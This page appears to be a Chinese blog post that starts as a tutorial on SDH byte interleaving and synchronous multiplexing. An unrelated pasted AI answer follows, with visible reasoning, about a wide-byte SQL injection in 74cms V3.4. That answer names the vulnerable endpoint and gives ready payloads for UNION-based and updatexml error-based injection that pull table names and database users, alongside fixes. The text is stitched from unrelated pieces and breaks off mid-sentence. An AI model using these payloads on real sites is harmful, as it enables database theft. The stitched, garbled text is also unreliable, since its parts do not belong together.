3.4、SDH字节间插、同步复用

在这里插入图片描述

SDH的字节间插特点及举例
一、字节间插特点

在SDH(同步数字体系)中,字节间插是一种重要的复用技术。SDH具有一套标准的速率等级,像基本的信号传输结构等级STM - 1(155Mbit/s),高等级的数字信号系列(如622Mbit/s(STM - 4)、2.5Gbit/s(STM - 16)等)是通过将低速率等级的信息模块(例如STM - 1)通过字节间插同步复接而成,并且复接的个数是4的倍数,例如STM - 4 = 4×STM - 1,STM - 16 = 16×STM - 1(也就是4×STM - 4)。它的帧结构为块状,当N个STM - 1帧复用成一个STM - N帧时,字节间插复用时各STM - 1帧的AU - PTR(管理单元指针)和payload(信息净负荷)的所有字节原封不动的按字节间插复用方式复用。而段开销的复用方式有所区别,当4个STM - 1以字节交错间插方式复用成STM - 4时,在段开销中只有第一个STM - 1的段开销被完整保留,其余N - 1个STM - 1帧中仅保留定帧字节A1、A2和BIP - N(B2),其他字节(B1、E1、E2、F1、K1、K2和D1 - D12)均省去,M1字节要专门定义位置。每个STM - 1帧都有9行,横向270×N列字节组成,字节间插复用过程中,是按照字节交错的方式,按列来进行复用,行数保持9行不变,且每个字节含8bit。这种复用方式使得低速信号在高速信号中的位置是固定且有规律的,这样就能从高速SDH信号中直接分/插出低速SDH信号,极大简化了信号的复接和分接工作,节省大量的复用/分接设备。
二、字节间插举例
1、以STM - 1复用成STM - 4为例,STM - 1的字节结构如段开销(SOH)字节安排等都是有各自固定的位置关系的。当4个STM - 1进行字节间插复用成STM - 4时,4个STM - 1帧的各字节按照一定顺序依次排列。比如说第一个STM - 1帧的第一列字节(假设为字节A、B、C等),然后接着是第二个STM - 1帧的第一列字节、第三个STM - 1帧的第一列字节、第四个STM - 1帧的第一 列字节,这样逐列复用下去。例如每个STM - 1的段开销字节复用情况。STM - 1的信息净负荷部分的字节也是这样无更改的按顺序间插复用。这就像是把四个整齐排列的小盒子(类比四个STM - 1)里面的物品(类比字节)依次按照一定顺序放进一个大盒子(类比STM - 4)里,而且每个小盒子里相同位置的物品在大盒子里的排列位置也是有规律的。

2、假设有三个 STM - 1 信号(A、B、C)要复用成一个 STM - 3 信号。STM - 1 的帧结构是 9 行 ×270 列字节。
首先从第一个字节开始复用,将信号 A 的第一字节放入 STM - 3 帧的相应位置(假设是第 1 个位置),然后将信号 B 的第一字节放入 STM - 3 帧的第 2 个位置,接着将信号 C 的第一字节放入 STM - 3 帧的第 3 个位置。
然后按照同样的规则复用每个信号的第二字节,依次类推。如果我们把 STM - 1 信号的字节看作是一个一个的 “小模块”,字节间插复用就像是把这些来自不同 STM - 1 信号的 “小模块” 按照顺序一个一个地插入到 STM - 3 这个 “大框架” 中。
例如,在 STM - 3 帧的某一行中,前 90 个字节可能依次是来自 STM - 1 信号 A、B、C 的字节。这种方式使得复用后的信号在结构上依然有规律可循,方便后续的解复用操作,即从 STM - 3 信号中提取出原来的 STM - 1 信号。

SDH的同步复用特点及举例
一、同步复用特点

SDH的同步复用基于整个网络的严格同步性。它的本质是使多个低阶通道层的信号适配进高阶通道层,或把多个高阶通道层信号适配进复用层的过程,这个过程要经过映射、定位和复用三个步骤。映射是先将各种速率的信号经码速调整装入相应标准容器(C),再加入通道开销(POH)形成虚容器(VC);定位是将帧偏移信息收进支路单元(TU)或管理单元(AU)通过相应指针功能来实现;复用则是将完成前面步骤后的信号组合起来。在复用过程中,所有要复用的信号都是在同一个时钟基准下进行操作。这就使得各种不同等级的码流在帧结构净负荷内的排列是有规律的,并且净负荷与网络是同步的。因其建立在严格同步基础上,所以可以直接用软件将高速信号一次直接分插出低速支路信号,能达到一步复用的特性,避免了PDH(准同步数字体系)那种对全部高速信号进行逐级分解然后再重新复用的复杂过程。同步复用相比PDH的异步复用,极大地简化了复用/解复用系统结构,降低了设备复杂性,减少了信号在复用/解复用中的损伤,提高了传输效率,也便于网络的管理与维护以及故障定位等操作,因为同步使得在网络中的信号传输更具规律性和可预测性 。
二、同步复用举例
1、例如将2Mbit/s的PDH信号复用进STM - N信号的过程。首先,2Mbit/s信号会经过映射过程,先将其装入对应的容器C - 12(这是一种与2M相对应的标准信息结构),并加入通道开销形成虚容器VC - 12,这个过程类似于将2Mbit/s信号包裹一层带有特定标记(通道开销)的包装,形成一个标准化的包裹(虚容器)。然后再经过定位和复用的等流程。在复用过程中因为整个SDH网络是同步的,假设是复用进STM - 1的过程中,由于是同步复用,2Mbit/s信号经过处理后的VC - 12在STM - 1帧结构净负荷中的位置是有规律的。而与PDH不同,如果是PDH要复用进更高阶的信号,2Mbit/s信号就可能需要进行复杂的逐级分解和复用,对于网络来说,设备复杂度增加,信号传输过程的稳定性和可预测性也不如SDH的同步复用。像在一个有着严格时间表统一行动的工厂生产线(类比SDH同步复用体系)上,各个零部件(类比不同信号)按照预定的顺序(同步)进行组装(复用过程),效率高且不容易出错;而传统没有这种严格同步限制的模式(类比PDH)就容易出现零部件组装混乱或者需要重新拆解组合等复杂且易错的情况。

2、以将 63 个 2Mbit/s 的 PDH 信号复用成一个 STM - 1 信号为例。
首先,这些 2Mbit/s 的 PDH 信号要经过映射过程,被放入 VC - 12(Virtual Container - 12)虚容器中。VC - 12 可以容纳一个 2Mbit/s 的信号,并且带有一些开销字节用于信号的监控和管理等功能。
然后,7 个 VC - 12 通过时分复用组成一个 VC - 4(Virtual Container - 4)。在这个过程中,每个 VC - 12 按照严格的时间顺序排列,它们的时钟是同步的,这就是同步复用的体现。
最后,VC - 4 再加上一些高阶开销字节就形成了 STM - 1 信号。整个过程中,从 2Mbit/s 的 PDH 信号到 STM - 1 信号,各个环节的信号在时间和频率上都是严格同步的,保证了信号能够准确无误地复用和传输。就好像是一个整齐划一的队伍,每个 “成员”(不同速率的信号)都按照规定的节奏和顺序前进,共同构成了一个完整的传输体系。

SDH字节间插和同步复用的实际应用案例
一、在电信骨干传输网络中的应用

骨干网长途传输中的字节间插复用应用
在长途骨干SDH传输网络中,大量的数据、语音和图像等业务需要在高速高效的情况下进行远距离传输。以中国的国家骨干长途SDH网络为例,在从东部地区向西部地区传输海量数据时,多种速率的SDH信号需要进行复用传输。当需要将多个STM - 1等级的支路信号复用到主干线上的更高等级STM - N(比如STM - 4或者STM - 16)信号进行长途传输时,字节间插复用发挥了作用。例如,不同地区汇聚来的多个155Mbit/s(STM - 1)的业务流,可能包含各个城市的数据中心的数据备份业务、长途电话语音业务等要复用到STM - 4(622.080Mbit/s)上进行跨省传输。字节间插复用使得STM - 1里的各字节能紧密有序地整合进STM - 4帧结构中。根据规则把其中的AU - PTR和payload字节依次复用,段开销按规定进行保留舍去字节等操作。这样既保证了业务信号的有序整合,又能在接收端按照字节间插的逆向操作轻松从STM - 4中解复用出对应的STM - 1支路信号分发给不同的服务对象(如不同城市的电信端局)。

骨干网业务多样性传输中的同步复用应用
在电信骨干网中也承载着多种类型和多种不同速率等级的业务如2.048Mbit/s的E1业务、34.368Mbit/s的E3业务等(这些是PDH业务速率)需要复用到SDH信号中传输。整个网络依赖同步复用技术来实现灵活高效的业务整合与传输。以将多个来自不同企业用户的E1专线业务(2.048Mbit/s)以及一些高速数据专线业务(比如34.368Mbit/s)复用进入STM - 1的过程为例。首先,这些不同速率的业务按照同步复用的映射过程被装入对应的标准容器(C - 12对应2.048Mbit/s信号、C - 3对应34.368Mbit/s信号等),并添加通道开销形成虚容器(VC - 12、VC - 3等),这个过程在各自时钟同步适配的基础上完成。然后经过定位操作(例如通过支路单元指针等方式),最后这些不同的虚容器信号依据同步复用的规则将多个低阶虚容器复用进高阶的STM - 1信号进行骨干网传输。而且由于是同步复用,不同速率业务在STM - 1帧结构净负荷中的排列也是有规律的,这使得骨干网在传输、管理和维护这些业务时更为高效便捷,同时可以利用软件很方便从STM - 1中分离出某一个特定的业务流。

二、在城域传输网络中的应用
城域网中的字节间插复用应用

在城域SDH网络中,存在多个本地网接入点,如不同的企业用户、小区用户与城域SDH网络的连接。当这些数量众多的低速支路信号(例如STM - 1或者更低速的支路信号)需要汇总到城域网中的高速干线网络(如STM - 4或者更高等级)进行在本城市范围内传输时,字节间插复用起到重要作用。比如一个城市中有众多的企业,企业内部的基站或者网络设备可能以STM - 1等级连接到城域网运营商网络。运营商将多个这样的STM - 1信号采用字节间插复用方式复用到STM - 4上去传输语音、数据业务(企业内部通信业务、访问互联网业务等)。这样复用的好处是可以充分均衡地利用城域网骨干线路的容量,并且由于字节间插复用下低速信号字节在高速信号内部位置的规律性,可以保障在进行接入点到核心网或者从核心网到接入点业务分插操作时的效率和准确性。

城域网中的同步复用应用
在城市中可能有多种业务接入城域网,像传统的电话语音业务、新兴的视频监控业务、各种互联网数据业务等。这些业务往往源自不同的设备供应商、采用不同的接入方式并且速率各异。城域网依据同步复用技术构建统一的网络来兼容这些业务传输。例如,一个新的网络电商公司要接入城域网,其既有2Mbit/s速率的客服语音业务,也有10Mbit/s、100Mbit/s 不等的数据业务在其服务器与外界通信,城域网利用同步复用将这些不同速率业务分别进行映射、定位等操作后,复用进合适的SDH信号进行传输。其中,同步复用让这些不同类型的服务在城域网中的不同接入区域(如不同的互联网数据中心接入点、电话交换局接入点等)到市核心网络传输过程中可以和谐共处,并且可以很方便地依据同步复用特征进行网络管理,例如进行网络资源的动态分配、业务流量的监控、故障时的排查定位等操作。

<think>我们正在讨论74cmsV3.4版本中的宽字节注入漏洞。根据引用[1]中提到的宽字节注入概念:宽字节注入是由于字符编码转换问题导致的,特别是当数据库使用GBK等双字节字符集时,如果程序对用户输入进行了转义(如使用addslashes或mysql_real_escape_string等函数),那么通过构造一个双字节字符(如%df)转义字符(\,即%5c)组合,形成一个有效的多字节字符(如%df%5c变成“運”字),从而吃掉转义字符,导致后续的单引号逃逸。引用[2]提供了一个疑似漏洞的URL示例:`http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%8c%27`。其中`query=aa%8c%27`,这里%8c%27可能是构造宽字节注入的一部分。注意:%8c在GBK编码中是一个高位字节后面的%27(单引号)组合,如果程序在转义时在单引号前加了转义符(%5c),那么%8c%5c就会组合成一个汉字,从而使单引号逃逸。因此,我们可以推测74cmsV3.4在文件`ajax_common.php`中处理`hotword`操作时,对`query`参数没有进行正确的过滤,存在宽字节注入漏洞。修复方法:1.统一数据库、Web应用程序和连接层的字符集为UTF-8,因为UTF-8是多字节编码,不易出现宽字节注入问题。2.在程序中对输入进行正确的过滤和转义,避免使用可能导致宽字节问题的函数组合。例如,使用mysql_real_escape_string函数时,同时设置正确的字符集(如GBK)以避免宽字节注入,但更好的方法是使用参数化查询。3.在PHP中,可以在连接数据库之后执行`mysql_set_charset(&#39;gbk&#39;)`或`mysqli_set_charset($con,&#39;gbk&#39;)`来设置字符集,这样mysql_real_escape_string函数会根据设置的字符集进行转义,从而避免宽字节注入。但是,如果程序使用了不正确的字符集设置,则会导致漏洞。4.最根本的解决方案是使用参数化查询(预处理语句)代替直接拼接SQL语句。利用方式:1.找到存在漏洞的参数(如上述URL中的`query`参数)。2.构造宽字节注入的payload,例如:在单引号前加上一个高位字节(如%df,%8c等),使得转义符被“吃掉”。例如:`%8c%27`,当程序在单引号前加入转义符后,变成`%8c%5c%27`,其中%8c%5c会被GBK编码解析为一个汉字(具体是什么汉字取决于字节组合),而%27(单引号)则被保留,从而闭合了SQL语句中的引号,后续就可以注入SQL代码。3.然后就可以利用联合查询、报错注入、布尔盲注或时盲注等技术获取数据库信息。示例利用步骤(以报错注入为例):-原始参数:query=test-构造payload:query=test%8c%27andupdatexml(1,concat(0x7e,(user())),1)--+-实际发送的请求:`ajax_common.php?act=hotword&query=test%8c%27%20and%20updatexml(1,%20concat(0x7e,%20(user())),%201)%20--%20`-解释:%8c%27用于吃掉转义符并逃逸单引号,然后注入报错函数updatexml,从而获取当前数据库用户。注意:由于实际环境字符集可能不同,需要尝试不同的高位字节(%81-%FE)来形成有效字符。根据引用[1]中宽字节注入的修复部分,还提到了一些其他修复方法:-使用`mysql_real_escape_string`函数并设置正确的字符集(但需要确保连接字符集设置正确)。-在转义后对单引号等特殊字符进行二次过滤,将`&#39;`替换为`\&#39;`(但这种方法在宽字节注入下可能无效)。-使用参数化查询。另外,引用[1]还提到了iconv转换导致的宽字节注入:如果程序在转义前将输入从UTF-8转换为GBK,那么就可能出现宽字节注入。例如,输入%bf%27,转义后变为%bf%5c%27,然后转换为GBK时,%bf%5c被当作一个字符(縗),从而单引号逃逸。因此,在74cmsV3.4中,如果存在字符转换(如使用iconv函数)且未正确过滤,也可能导致宽字节注入。总结:-漏洞位置:`/plus/ajax_common.php?act=hotword`中的`query`参数。-漏洞利用:通过构造宽字节(如%8c%27)使单引号逃逸,然后进行SQL注入。-修复方法:使用参数化查询或确保字符集设置正确且转义函数字符集匹配,或者将字符集统一为UTF-8。由于我们无法直接获得74cmsV3.4的源码,以上分析基于引用[1]的宽字节注入原理和引用[2]的漏洞示例URL。如果需要进行实际漏洞复现,建议搭建74cmsV3.4环境,并尝试上述利用方式。相关问题:1.字节注入漏洞的原理是什么?2.除了74cms,还有哪些常见的CMS存在宽字节注入漏洞?3.如何防御宽字节注入漏洞?</think>### 74cms V3.4字节注入漏洞分析 #### **漏洞原理** 宽字节注入源于字符编码转换问题。当数据库采用 **GBK/GB2312** 等双字节字符集时,若程序对用户输入进行转义(如`addslashes()`或`mysql_real_escape_string()`),攻击者可构造特殊字符使转义符`\`(`%5c`)前一字节组合成合法汉字,导致单引号逃逸。例如: - 输入 `%df&#39;` → 转义为 `%df\&#39;`(即 `%df%5c%27`) - GBK解码时 `%df%5c` 被解析为汉字“運”,剩余 `%27`(`&#39;`)未被转义,引发SQL注入[^1]。 --- #### **74cms V3.4 漏洞位置利用** ##### **漏洞触发点** 引用[2]的示例URL暴露关键参数: ```url http://[目标]/plus/ajax_common.php?act=hotword&query=aa%8c%27 ``` - **文件路径**:`/plus/ajax_common.php` - **参数**:`act=hotword`(操作类型)、`query`(用户输入) - **Payload构造**:`%8c%27` `%8c`转义符`%5c`组合成GBK汉字(如“哐”),使`%27`(单引号)逃逸。 ##### **利用步骤** 1. **探测漏洞** 发送请求测试单引号逃逸: ```http GET /plus/ajax_common.php?act=hotword&query=test%8c%27%20AND%201=1--+ HTTP/1.1 ``` - 若页面正常返回,说明单引号被逃逸,SQL语句执行成功。 2. **联合查询注入** 获取数据库信息: ```http GET /plus/ajax_common.php?act=hotword&query=test%8c%27 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+ HTTP/1.1 ``` - 可提取表名、字段名等敏感数据。 3. **报错注入** 利用数据库报错函数: ```http GET /plus/ajax_common.php?act=hotword&query=test%8c%27 AND updatexml(1,concat(0x7e,(SELECT user())),1)--+ HTTP/1.1 ``` - 通过报错信息泄漏数据库内容。 --- #### **修复方案** 1. **字符集统一** 将数据库、连接层、页面编码统一为 **UTF-8**(无宽字节问题): ```php // 数据库连接设置 mysqli_set_charset($conn, "utf8"); ``` 2. **参数化查询** 使用预处理语句替代字符串拼接: ```php $stmt = $conn->prepare("SELECT * FROM table WHERE query = ?"); $stmt->bind_param("s", $input); $stmt->execute(); ``` 3. **转义函数优化** 若需保留GBK编码,在转义后对输入进行二次过滤: ```php $input = preg_replace(&#39;/[\x81-\xfe][\x40-\xfe]/&#39;, &#39;&#39;, $input); // 移除非法GBK字符 ``` 4. **禁用危险函数** 避免使用`iconv()`转换字符集(可能引入新漏洞),改用`mb_convert_encoding()`[^1]。 --- #### **漏洞防御验证** 修复后测试Payload应返回**转义后的安全结果**: ```sql 原始输入:test%8c%27 → 转义后:test\
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值